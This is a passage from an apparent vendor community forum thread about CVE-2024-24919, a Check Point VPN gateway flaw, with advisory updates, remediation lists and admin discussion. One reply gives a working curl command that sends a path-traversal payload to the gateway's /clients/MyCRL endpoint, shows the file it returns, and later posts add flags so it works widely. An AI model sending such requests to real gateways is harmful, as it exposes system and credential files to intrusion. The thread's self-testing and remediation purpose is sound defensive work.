Important security update - stay protected against VPN Information Disclosure (CVE-2024-24919)

[_Val_]

Update June 5, 2024

We now have fixes for CVE-2024-24919 for releases dating back to R77.30 with latest JHF.

Update June 4, 2024

The procedure to identify vulnerable Security Gateways in sk182336 - Hotfix for CVE-2024-24919 was updated.

The Gateways script was replaced with v3. The updated script checks if the Hotfix is installed.

Update June 03, 2024

Automatic interim preventative measure deployed through AutoUpdater utility

Security Gateways that were configured to the Check Point's Auto Update process are gradually receiving an update (as of June 2, 2024), which helps protect them from various attempts to exploit the CVE. This is an interim preventative measure until the Hotfix is fully installed on customers’ Security Gateways. It is important to emphasize that installing the Hotfix in sk182336 is the best way to stay protected from this vulnerability.

This is relevant for gateways running R80.40 and above. Instructions to confirm this is enabled are in sk182336.

Update June 01, 2024

Quantum Spark

We now have a specific SK related to CVE-2024-24919 for Quantum Spark appliances! : sk182357

In addition to providing links to updated firmware, this SK lists the specific remediation steps that may be necessary on Quantum Spark Appliances, which includes: 

1. Disable the Remote Access VPN blade
2. Change the Administrator passwords and use complex passwords
3. Restrict access through "Reach My Device"
4. Enable Two-Factor Authentication for Administrators (R81.10.10 and higher)
5. Enable Two-Factor Authentication for Remote Access VPN users (R81.10.10 and higher)
6. Enable notifications for administrator access

 

cccd

In R81.10 we added a feature to improve VPN performance - named CCCD

This feature is disabled by default, and we know about few advanced customers who are using it.

Customers who enable CCCD are still vulnerable to CVE-2024-24919 even after installing the Hotfix!

YOU MUST DISABLE CCCD TO BECOME PROTECTED!

Instructions below and also on SK182336:

Run the command: vpn cccd status
The expected output is: vpn: 'cccd' is disabled.

If the output differs, stop the CCCD process by running the vpn cccd disable command.

Updated May 31, 2024

To streamline information flow and simplify actions for our customers and partners, we have consolidated all relevant details about CVE-2024-24919 and its remediation into a single SecureKnowledge article: sk182336.

Please revisit it now, as we have added some updates.

Updated May 30, 2024

To remain protected from CVE-2024-24919, it is mandatory install this on Check Point Quantum and Spark gateways following fix.

In addition, you should take the following extra security measures, which are documented in sk182336:

1. Change the password of the LDAP Account Unit
2. Reset password of local accounts connecting to Remote Access VPN with password-only authentication
3. Prevent Local Accounts from connecting to VPN with Password-Only Authentication
4. Renew the server certificates for the Inbound HTTPS Inspection on the Security Gateway
5. Renew the certificate for the Outbound HTTPS Inspection on the Security Gateway
6. Reset Gaia OS passwords for all local users
7. Regenerate the SSH local user certificate on the Security Gateway (see the SK for more details)
8. Renew the certificate for the SSH Inspection

Update May 28, 2024

Yesterday (May 27th) we delivered a solution that addresses attacks we saw on a small number of customers’ VPN remote access networks.

Today we found the root cause for these attacks and are now releasing a fix. To remain protected, it is mandatory install this on Check Point Quantum and Spark gateways following fix.

The vulnerability we found (CVE-2024-24919) affects Security Gateways with remote access VPN or mobile access blade enabled. It is potentially allowing an attacker to read certain information on Gateways once connected to the internet and enabled with remote access VPN or mobile access.

The fix we developed prevents the use of this vulnerability, once deployed on the relevant Gateways. Install this now to stay protected.

The attempts we’ve seen so far, inline with what we alerted you yesterday, are focusing on remote access on old local accounts with unrecommended password-only authentication within the known small customers we referred to yesterday. Check Point’s network is not affected by this.

More information on today’s notification can be found here.

Customer security is our top priority. We will continue to investigate this issue and provide additional updates.

For additional information, please contact Check Point Support Center or your Check Point representative.

Originally posted on May 27, 2024.

Over the past few months, we have observed increased interest of malicious groups in leveraging remote-access VPN environments as an entry point and attack vector into enterprises.

Attackers are motivated to gain access to organizations over remote-access setups so they can try to discover relevant enterprise assets and users, seeking for vulnerabilities in order to gain persistence on key enterprise assets.

We have recently witnessed compromised VPN solutions, including various cyber security vendors. In light of these events, we have been monitoring attempts to gain unauthorized access to VPNs of Check Point’s customers. 

By May 24, 2024 we identified a small number of login attempts using old VPN local-accounts relying on unrecommended password-only authentication method.

We have assembled special teams of Incident Response, Research, Technical Services and Products professionals which thoroughly explored those and any other potential related attempts. Relying on these customers notifications and Check Point’s analysis, the teams found within 24 hours a few potential customers which were subject to similar attempts.

Password-only authentication is considered an unfavourable method to ensure the highest levels of security, and we recommend not to rely on this when logging-in to network infrastructure.

Check Point has released a solution, as a preventative measure to address these unauthorised remote access attempts.

We encourage our customers to enhance their VPN security posture by:

• Check if you have local accounts, if they were used and by whom.
• If you don’t use them – best to disable them.
• If you have local accounts which you want to use and are password-only authenticated, add another layer of authentication (like certificates) to increase your environments IT security.
• As said, If you are a Check Point customer, deploy our solution on your Security Gateways. This will automatically prevent unauthorized access to your VPNs by local accounts with password-only authentication method.

Learn more and receive practical guidance for configuration monitoring and practices to enhance your VPN security posture.

For any additional assistance required, please contact Check Point technical support Center or your local Check Point representative.

We value the collaboration of our customers and dedication of our teams to reach a solution which effectively addresses any such attempts.

[Peter_Sandkuijl]

Part of the remote access community and/or having the Mobile Access Blade (MAB) enabled makes you vulnerable

[Thomas_Eichelbu]

yes exactly! you right!

"Part of the remote access community and/or having the Mobile Access Blade (MAB) enabled"

[HeikoAnkenbrand]

I once played in the lab and found other things which in my view should also be renewed:

CUT>>>
In addition, you should take the following extra security measures, which are documented in sk182336:

1. Change the password of the LDAP Account Unit
2. Reset password of local accounts connecting to VPN with password authentication
3. Additional Frequently Asked Questions
4. Prevent Local Accounts from connecting to VPN with Password Authentication
5. Renew the server certificates for the Inbound HTTPS Inspection on the Security Gateway
6. Renew the certificate for the Outbound HTTPS Inspection on the Security Gateway
7. Reset Gaia OS passwords for all local users
8. Regenerate the SSH local user certificate on the Security Gateway
9. Renew the certificate for the SSH Inspection
   

<<<CUT

In my view, the list should be expanded to include the following points:
   10) Web server private keys + crt
   11) Grub password hashes
   12) GAIA password hashes
   13) IA password hashes
   14) SSH server keys
   15) Expert password hash

[jgar]

Congratulations, you succeeded in giving the hackers the template for free !

We all understood in the meantime that potentially anything could be extracted.
So, was it really necessary to expose that amount of detail to the world?
I'm working with Checkpoint firewalls +25 years, and I wasn't even aware myself of the precise location of some of those files.

[HeikoAnkenbrand]

@jgar 
But you are right about that.
I have deleted this entries.

THX
---
PS:
You can already find many exploits in the Goggle search.
Therefore, they have to fix all points in order not to be vulnerable.
The question is therefore how long the vulnerability has been exploited.

[Duane_Toler]

I disagree.  What @HeikoAnkenbrand posted was good for us all.  We need to know how to test our systems so we can appropriately handle them.  This information was being withheld from us all before now and caused widespread grief for many who were never affected (no IPsec VPN, or no Remote Access VPN service enabled, or no RemoteAccess community configured).  Many of us were/are affected, but we need to know how severely so we can issue the appropriate response.

Check Point's own Python test script was inaccurate and insufficient

I didn't know before Heiko's post.  Several customers had chosen to delay their response because of the information we had before then.  Once we knew this was actually a directory traversal attack (significantly different than "weak VPN user passwords" as we were lead to believe), I escalated this to all my customers and got them mitigated or properly emergency updated.

Heiko did a good service and should be thanked. (Thank you, Heiko).

This information absolutely will help attackers, but we should all know security-through-obscurity is foolish, irresponsible, and in some ways downright criminal.  However, this information will do far more benefit to spurring the rest of us into updating systems more urgently.

Again, kudos to Heiko.

[the_rock]

100% true.

[jgar]

Well, my point was not at all about security-through-obscurity, you got me wrong.

It was that, once we know that *any* file can be exposed by exploiting the vulnerability (which maybe I wrongly assumed, sorry), what's the added value of providing the details of several of the most sensitive ones?

If the goal is to easily test ourselves (or our customers) if a system is vulnerable, isn't it sufficient to demo the access to a single file?
Like for example the one that's already super divulgated everywhere, ie. /etc/passwd?

And that can be tested quite easily with Postman, or even easier, with Powershell in Windows.

Powershell example, with another file in same /etc dir:

PS C:\> Remove-item alias:curl
PS C:\>
PS C:\> curl -X POST -d "aCSHELL/../../../../../../../etc/resolv.conf" -k https://ipaddress-or-FQDN/clients/MyCRL
nameserver 1.1.1.1
nameserver 8.8.8.8
PS C:\>

Notes:
The "remove-item" command is to prevent PS to use CURL as an alias to it's own native "invoque-request", which seems to be default behaviour.
And which could then throw some errors with CURL's native syntax.
Needs to be used just once initially.
And the "-k" before the URL, is to ignore certificate validation errors.

And regarding your comment about "VPN passwords", indeed you're right.
Because imho, that's an "after-exploitation" measure actually, since it's reasonable to think that it would be the easiest method for network penetration, should those 1-factor passwords have been obtained.

[Duane_Toler]

Ah, thanks for clarifying.  Apologies for taking your comment slightly askew.  I see what you mean, regarding *those specific files* versus common files.

My PowerShell-fu is non-existent (I'm not a Windows person; pure Mac and Linux), but that's good info to know.  Each time I see something in PowerShell, I'm continually impressed by what I see.  It's come a long way since the first round, by far!

[the_rock]

Had no clue about -k flag, thanks for pointing that out.

[HeikoAnkenbrand]

Add

-s -k -X POST -H "Content-Type: text/plain"

 
then it works with all R8X versions.

[HeikoAnkenbrand]

@jgar The code has been known for some days.

If you have been working with Check Point Firewall's since +25 years as described,
you know many files that are interesting for attackers.

The attackers were able to read all files on the gateway for which they had the correct file system authorisations.
This meant that almost everything could be read.

I have now sent my list of approx. 30 relevant files to R&D guys 😉

[HeikoAnkenbrand]

Thanks guys!

To test the vulnerability, I created an oneliner for GAIA, Linux and Windows Powershell.
This make it quick and easy to test if the vulnerability occurs.

Link:
ONELINER - Check CVE-2024-24919 Vulnerability 

Example:

[JozkoMrkvicka]

What about LOM password, RADIUS secrets, SNMP v3 user auth info and NTP auth ?

[_Val_]

All answers are no

[Alex-]

We've been checking again our remote access gateways and as far as we see cccd is always turned off. However without direct access to all customers systems right away and weekend time, do we know if cccd could have been enabled by some specific configuration or if it's only manually as per the article.

[_Val_]

AFAIK, the only possible case it is running is if it is enabled manually 

UPDATE: I double-checked with R&D, and it is disabled by default, as I said before.

[JozkoMrkvicka]

There is no plan to fix this issue if cccd is enabled ? Solution is to instruct customers to manually turn cccd off ?

I would expect there will be updated version of the fix to address cccd problem.

What if I patched all vulnerable gateways and in the future cccd will be enabled ?

[Gera_Dorfman]

cccd issue is addressed in R81.10 JHF150 that was released yesterday and will be addressed also in the next R81.20 JHF to be released soon. If there is an advanced customer who still needs cccd on top of previous versions we can create a portfix on top of specific version per customer request.

Thanks 

[RickLin]

Suspect IP query:

src:23.227.196.88 or src:23.227.203.36 or src:37.19.205.180 or src:38.180.54.104 or src:38.180.54.168 or src:46.59.10.72 or src:46.183.221.194 or src:46.183.221.197 or src:64.176.196.84 or src:87.206.110.89 or src:104.207.149.95 or src:109.134.69.241 or src:146.70.205.62 or src:146.70.205.188 or src:149.88.22.67 or src:154.47.23.111 or src:156.146.56.136 or src:158.62.16.45 or src:167.61.244.201 or src:178.236.234.123 or src:185.213.20.20 or src:185.217.0.242 or src:192.71.26.106 or src:195.14.123.132 or src:203.160.68.12 or src:68.183.56.130 or src:167.99.112.236 or src:132.147.86.201 or src:162.158.162.254 or src:61.92.2.219 or src:183.96.10.14 or src:198.44.211.76 or src:221.154.174.74 or src:112.163.100.151 or src:103.61.139.226 or src:82.180.133.120 or src:146.185.207.0/24 or src:193.233.128.0/22 or src:193.233.216.0/21 or src:217.145.225.0/24 or src:31.134.0.0/20 or src:37.9.40.0/21 or src:45.135.1.0/24 or src:45.135.2.0/23 or src:45.155.166.0/23 or src:5.188.218.0/23 or src:85.239.42.0/23 or src:88.218.44.0/24 or src:91.132.198.0/24 or src:91.218.122.0/23 or src:91.245.236.0/24

[PhoneBoy]

We now have a specific SK related to CVE-2024-24919 for Quantum Spark appliances! : sk182357

In addition to providing links to updated firmware, this SK lists the specific remediation steps that may be necessary on Quantum Spark Appliances, which includes: 

1. Disable the Remote Access VPN blade
2. Change the Administrator passwords and use complex passwords
3. Restrict access through "Reach My Device"
4. Enable Two-Factor Authentication for Administrators (R81.10.10 and higher)
5. Enable Two-Factor Authentication for Remote Access VPN users (R81.10.10 and higher)
6. Enable notifications for administrator access

[gg_fga]

Hello,

Thank you for this clarifying SK.
Is it possible to specify extra measures for centrally managed gateways? The different menus are not available.

Kind regards,

[PhoneBoy]

The basic tasks you need to do are exactly the same in either case.
The specifics differ for the following, which should be done on the management per sk182336

• Disable the Remote Access VPN blade
• Enable Two-Factor Authentication for Remote Access VPN users
• Shared secrets for RADIUS/TACACS/Active Directory

Resetting the Internal Certificate Authority should only apply to locally managed SMB devices, but I am confirming this.

[JozkoMrkvicka]

Based on R81.10 Latest Take 150, following is fixed (PRJ-55470, PRHF-34219) :

Remote Access VPN for local accounts authenticated only with Check Point password created in R80.20 or lower, and not updated after the upgrade to R80.30, is blocked until the password is reset. Refer to sk182336.

Does it mean that if the local password for VPN user was set/reset on R80.30 and higher, there is no need to reset it ?

I dont see this condition mentioned in sk182336.

[_Val_]

No, it does not.

We recommend following all the measures listed in sk182336. However, older secrets are more vulnerable due to weaker hashes and should raise immediate concern.

[Alex-]

What about S2S VPN PSK? They're not listed but I suppose the hashes could have been exported.

[DanielAmlung]

All you had on your Gateway was readable

[Moudar]

How would a log indicating successful hacking activity appear?

[DanielAmlung]

That is the 1.000.000$ Dollar Question i am trying to get from CP Support or whoever.

[Moudar]

From what I've gathered so far, the IPS CVE-2024-24919 logs indicate attempted hacking activities.

These logs contain packet captures. The question is, what should we examine (in Wireshark) to determine if there was a successful hacking attempt?